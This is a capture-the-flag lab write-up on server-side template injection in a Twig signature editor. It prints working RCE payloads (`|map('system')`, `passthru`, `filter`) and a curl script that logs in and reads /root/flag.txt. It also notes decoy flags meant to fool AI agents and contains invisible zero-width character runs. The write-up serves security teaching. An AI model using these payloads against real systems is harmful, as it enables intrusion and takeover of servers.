← Back to Writeups
CUSTOMEasyWeb

Lab 130 — LearnPulse — SSTI in Signature Template Engine

XESXOR9/2/20263 min read
#web#custom#easy#map_filter_callback#php_array_map_callback#ssti_twig_rce#twig_map_system_rce

Lab 130 — LearnPulse — SSTI in Signature Template Engine

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: map_filter_callback, php_array_map_callback, ssti_twig_rce, twig_map_system_rce

Summary

Walkthrough of the CUSTOM Web Lab 130 — LearnPulse — SSTI in Signature Template Engine. Task: PHP/Twig learning platform with admin Signature Template editor vulnerable to SSTI. Solution: Injected {{ ["cat /root/flag.txt"]|map("system") }} via Twig map filter callback to achieve RCE

Description

LearnPulse is a learning management platform. Admin credentials: admin@learnpulse.io / Puls3@Adm!n2025. Find a vulnerability allowing reading sensitive files from the server.

LearnPulse is a PHP 8.2.26 learning management platform running on nginx/1.25.5 with a Twig template engine. The admin panel at /admin/messenger features a "Signature Template" editor that allows customizing the signature appended to outgoing messages using template variables like {{ senderName }}, {{ senderEmail }}, {{ date }}, {{ platformName }}, and {{ senderRole }}. The goal is to exploit this template editor to read sensitive files from the server. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Note: The application contains honeypot/decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and hidden divs on every page, designed to trick automated scanners and AI agents. These are NOT real flags.

Analysis

Reconnaissance

  1. Target: https://<instance>.labs.hackadvisor.io/
  2. Stack: PHP 8.2.26, nginx/1.25.5, Twig template engine
  3. Login at /login with admin credentials → redirects to / (Dashboard)
  4. Admin sidebar reveals: /admin/settings (Platform Settings) and /admin/messenger (Messenger Settings)
  5. The Messenger Settings page contains a Signature Template editor with a textarea and "Save & Preview" button
  6. The template uses {{ variable }} syntax — characteristic of Twig template engine
  7. Supported variables: {{ senderName }}, {{ senderEmail }}, {{ date }}, {{ platformName }}, {{ senderRole }} ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

SSTI Confirmation

Submitted {{7*7}} as the signature template → preview rendered 49, confirming Server-Side Template Injection in Twig.

Context Enumeration

Using {% for key, value in _context %}{{ key }} {% endfor %} revealed available variables:

  • senderName, senderEmail, date, platformName, senderRole, _parent

Blocked vs. Working Functions

PayloadResult
{{ source("/etc/passwd") }}Template rendering error (blocked)
{% include "/etc/passwd" %}Template rendering error (blocked)
{{ dump() }}Template rendering error (blocked)
{{ _self.env }}Template rendering error (blocked)
{{ ["id"]|map("system") }}RCE! uid=0(root)
{{ ["id"]|filter("system") }}RCE! uid=0(root)
{{ ["id"]|map("passthru") }}RCE! uid=0(root)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Root Cause

The Signature Template textarea content is rendered directly through Twig's template engine without sandboxing. While some functions like source() and include are blocked, the |map(), |filter(), and |sort() filters remain available and accept PHP callable strings (like "system", "passthru") as callbacks. Internally, Twig's |map() calls PHP's array_map("system", ["command"]), enabling arbitrary command execution. The application runs as root (uid=0), making the impact critical. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Exploit Payload

twig
{{ ["cat /root/flag.txt"]|map("system") }}

Steps

  1. Log in as admin at /login with admin@learnpulse.io / Puls3@Adm!n2025
  2. Navigate to /admin/messenger (Messenger Settings)
  3. In the Signature Template textarea, enter: {{ ["cat /root/flag.txt"]|map("system") }}
  4. Click "Save & Preview"
  5. The signature preview displays the contents of /root/flag.txt

curl Exploit

bash
#!/bin/bash
TARGET="https://<instance>.labs.hackadvisor.io"

# Get session
curl -s -c cookies.txt "$TARGET/login" > /dev/null
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Login
curl -s -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \
  -d "email=admin@learnpulse.io&password=Puls3@Adm!n2025" > /dev/null

# Exploit SSTI - read flag via Twig map filter callback
curl -s -b cookies.txt -X POST "$TARGET/admin/messenger" \
  --data-urlencode 'signature_template={{ ["cat /root/flag.txt"]|map("system") }}' \
  -d "auto_signature=1&message_retention_days=90" | grep -o 'FLAG{[^}]*}' | head -1

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering map_filter_callback, php_array_map_callback, ssti_twig_rce, twig_map_system_rce was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 130 — LearnPulse — SSTI in Signature Template Engine • Difficulty: Easy